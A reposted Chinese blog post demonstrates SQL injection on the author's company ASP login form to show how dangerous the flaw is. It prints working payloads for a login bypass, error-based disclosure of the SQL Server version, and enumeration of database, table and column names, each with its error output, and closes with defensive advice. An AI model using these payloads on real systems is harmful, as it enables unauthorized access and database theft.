`

血腥!实况转播SQL注入全过程,让你知道危害有多大。(转)

 
阅读更多

前阵子发现公司的网站有SQL注入漏洞,向项目经理提了以后,得到的答复异常的冷淡:“早就知道,这种asp的网站肯定有漏洞,要是Asp.net的网站就没问题”,先暂不评价此说法对错,如此冷淡的反应只能说明了对SQL注入的无知,今天就实况转播,来告诉大家SQL注入究竟有多大的危害。

初步注入--绕过验证,直接登录

公司网站登陆框如下:

image

可以看到除了账号密码之外,还有一个公司名的输入框,根据输入框的形式不难推出SQL的写法如下:

SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'

我发现前两者都做一些检查,而第三个输入框却疏忽了,漏洞就在这里!注入开始,在输入框中输入以下内容:

image

用户名乱填,密码留空,这种情况下点击登录按钮后竟然成功登录了。我们看一下最终的SQL就会找到原因:

SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'

从代码可以看出,前一半单引号被闭合,后一半单引号被 “--”给注释掉,中间多了一个永远成立的条件“1=1”,这就造成任何字符都能成功登录的结果。而Sql注入的危害却不仅仅是匿名登录。

中级注入--借助异常获取信息。

现在我们在第三个输入框中写入:“‘ or 1=(SELECT @@version) –”。如下:

image

后台的SQL变成了这样:

SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=(SELECT @@VERSION)--'

判断条件变成了 1=(SELECT @@VERSION),这个写法肯定会导致错误,但出错正是我们想要的。点击登录后,页面出现以下信息:

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45 Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) ' to data type int.

可怕的事情出现了,服务器的操作系统和SQL Server版本信息竟然通过错误显示出来。

危害扩大--获取服务器所有的库名、表名、字段名

接着,我们在输入框中输入如下信息:“t' or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--”,此时发现第三个输入框有字数长度的限制,然而这种客户端的限制形同虚设,直接通过Google浏览器就能去除。

image

点击登录,返回的信息如下:

Conversion failed when converting the nvarchar value 'master' to data type int.

数据库名称“master”通过异常被显示出来!依次改变上面SQL语句中的序号,就能得到服务器上所有数据库的名称。

接着,输入信息如下:“b' or 1=(SELECT top 1 name FROM master..sysobjects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--

得到返回信息如下:

Conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int.

我们得到了master数据库中的第一张表名:“spt_fallback_db”,同上,依次改变序号,可得到该库全部表名。

现在我们以“spt_fallback_db”表为例,尝试获取该表中所有的字段名。在输入框中输入以下代码:“b' or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='spt_fallback_db');

于是,得到错误提示如下:

"Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";

这样第一个字段名“xserver_name”就出来了,依次改变序号,就能遍历出所有的字段名。

最终目的--获取数据库中的数据

写到这里,我们已知通过SQL注入能获取全部的数据库,表,及其字段,为了防止本文完全沦为注入教程,获取数据的代码就不再描述,而这篇文章的目的也已达到,SQL注入意味着什么?意味着数据库中所有数据都能被盗取

当知道这个危害以后,是否还能有人对SQL注入漏洞置之不理?

结语

关于安全性,本文可总结出一下几点:

  1. 对用户输入的内容要时刻保持警惕。
  2. 只有客户端的验证等于没有验证。
  3. 永远不要把服务器错误信息暴露给用户。

除此之外,我还要补充几点:

  1. SQL注入不仅能通过输入框,还能通过Url达到目的。
  2. 除了服务器错误页面,还有其他办法获取到数据库信息。
  3. 可通过软件模拟注入行为,这种方式盗取信息的速度要比你想象中快的多。
  4. 漏洞跟语言平台无关,并非asp才有注入漏洞而asp.net就没有注入漏洞,一切要看设计者是否用心。

 

转自:http://www.cnblogs.com/hkncd/archive/2012/03/31/2426274.html

 

 

 

 

分享到:
评论

相关推荐

    swift-livePhoto-实况图制作demo

    通过研究和运行这个demo,你可以更深入地了解实况图的制作过程,甚至扩展到制作iOS动态壁纸,为用户带来更丰富的交互体验。 总之,Swift实况图的制作涉及图像处理、视频剪辑和苹果的Photos框架,理解并熟练运用这些...

    实况足球背景音乐转换器

    《实况足球背景音乐转换器》是一款专为实况足球玩家设计的工具,它能够帮助玩家将个人喜欢的MP3格式音乐转换成游戏所支持的ADX格式。在实况足球游戏中,背景音乐是提升游戏体验的重要元素之一,而这款游戏往往需要...

    实况音乐转换器

    【实况音乐转换器】是一款专门针对游戏音乐格式转换的工具,它允许用户将不同格式的游戏音频文件转换为兼容各种设备或平台的音频格式。在现代数字音乐领域,不同的设备和软件可能支持不同的音频格式,因此这样的转换...

    2010--2011赛季实况8补丁

    在这个赛季,全球各大联赛如英超、西甲、意甲、德甲、法甲等都可能发生重大变动,比如球员转会、教练更迭等,这些都会在补丁中得到体现,让玩家能在游戏中体验到最接近真实世界的足球竞赛。 标签“实况”和“足球”...

    实况8年龄锁定器

    《实况8年龄锁定器》是一款专为经典足球游戏《实况足球8》设计的工具,主要用于修改游戏中球员的年龄,让玩家可以根据自己的喜好调整球队阵容。在《实况足球8》这款游戏中,球员的年龄是影响其能力值和状态的重要...

    一个集成的多媒体播放器,让你在Web上享受更广泛的多媒体体验, 它显示和播放多媒体内容,从数以千计的高度交互性的游戏, 到有音频流要求的多媒体用户界面,包括实况音乐会和广播。

    一个集成的多媒体播放器,让你在Web上享受更广泛的多媒体体验, 它显示和播放多媒体内容,从数以千计的高度交互性的游戏, 到有音频流要求的多媒体用户界面,包括实况音乐会和广播。 随着网络速度与品质的提升,...

    体育赛事中的音频制作.pptx

    大型体育赛事通常规模巨大。会有上万名运动员参加比赛;大量国家的广播电台、电视台进行实况转播;...大型体育赛事专门转播机构向全世界各国的授权转播机构提供的视频和音频信号习惯上称为国际视频/音频信

    基于webrtc-streamer软件的多视频在一个网页多个Rtsp协议监控实况的实现

    本文将探讨如何利用WebRTC-Streamer软件实现多视频流通过RTSP协议在一个网页上同时展示监控实况。 WebRTC-Streamer是基于WebRTC技术的一个开源项目,它的主要功能是将RTSP视频流转换成WebRTC流,从而能在现代浏览器...

    安卓-实况足球-《欧冠主题》-V8.20-晴天补丁.zip

    《安卓-实况足球-欧冠主题-V8.20-晴天补丁》是一个针对安卓设备的实况足球游戏的定制补丁,旨在为玩家提供更丰富的游戏体验,特别是聚焦于欧洲冠军联赛这一赛事的主题更新。这个补丁的版本号为V8.20,表明它是基于...

    实况足球2021操作方法及射门技巧.docx

    实况足球2021操作方法及射门技巧 实况足球2021是一款热门的足球模拟游戏,对于新手玩家来说,掌握游戏的操作方法和射门技巧是一项非常重要的任务。本文将从游戏的基本操作开始,逐步讲解实况足球2021的操作方法和...

    SQL2008R2各版本功能对比.pdf

    SQL Server 2008 R2 版本功能对比 SQL Server 2008 R2 是微软公司推出的关系数据库管理系统,提供了多种版本,以满足不同用户的需求。每种版本都具有其独特的功能和特点,本文将对 SQL Server 2008 R2 的各版本功能...

    地面实况数据.zip

    标题“地面实况数据.zip”表明这是一个包含有关地面实况信息的数据集,它被压缩成ZIP格式以便于存储和传输。ZIP是一种常见的文件压缩格式,它允许用户将多个文件或文件夹打包到一个单一的可下载文件中,以节省存储...

    实况虚拟手柄驱动ppjoy0.83

    《实况虚拟手柄驱动PPJOY0.83:为实况键盘对战注入灵魂》 在电子竞技和游戏领域,手柄是许多玩家钟爱的操控设备,尤其是在体育竞技类游戏中,如《实况足球》系列。然而,不是所有玩家都有条件或者习惯使用实体手柄...

    android实况足球项目源码

    【Android实况足球项目源码】是一个专门为Android平台开发的足球模拟游戏的源代码实现,旨在帮助开发者理解和学习如何在Android环境下构建一个实时的、互动性强的体育竞技应用。这个项目可能包含了游戏逻辑、用户...

    天气实况数据自动记录器 v1.0.zip

    天气实况数据自动记录器软件可以实现天气数据的半自动记录(同志们点击一下软件中的一个按钮,软件自动记录24h内的天气数据并保存为excel文件)。 天气实况数据自动记录器软件的亮点 1. 同志们可以自己确定需要...

    毕业设计反病毒虚拟机源码--Mr.Hua-:米课Mr.Hua:实况转播我的十四年创业历程,无保留

    结果是未知的,我只是Enjoy这个过程,我选择在这里记录我的成长过程,看到这篇文章都是你我的缘分,他也许会给你带来很多提示,也许什么帮助都没,毕竟每个人的经历是不可复制的,我所要传递的也只是一种思考方式,...

    JAVA手机通用手机实况足球2010jar包

    JAVA手机通用手机实况足球2010jar包,画面肯定不如PC机的

    SQL语句在自动综合判识观测项目准确性评估中的应用.pdf

    SQL语句在数据库管理中扮演着核心的角色,特别是在数据分析和处理方面。在给定的文件中,主要探讨了如何使用SQL语句在自动综合判识观测项目的准确性评估中发挥作用。文件中提到的应用场景是全国综合气象信息共享系统...

    实况脸型制作

    ### 实况脸型制作知识点详解 #### 一、准备工作与工具介绍 在开始实况足球游戏中的脸型制作之前,我们需要准备以下几项基础工作: 1. **安装Photoshop**: - 如果您的电脑上尚未安装Photoshop,请访问Adobe官方...

Global site tag (gtag.js) - Google Analytics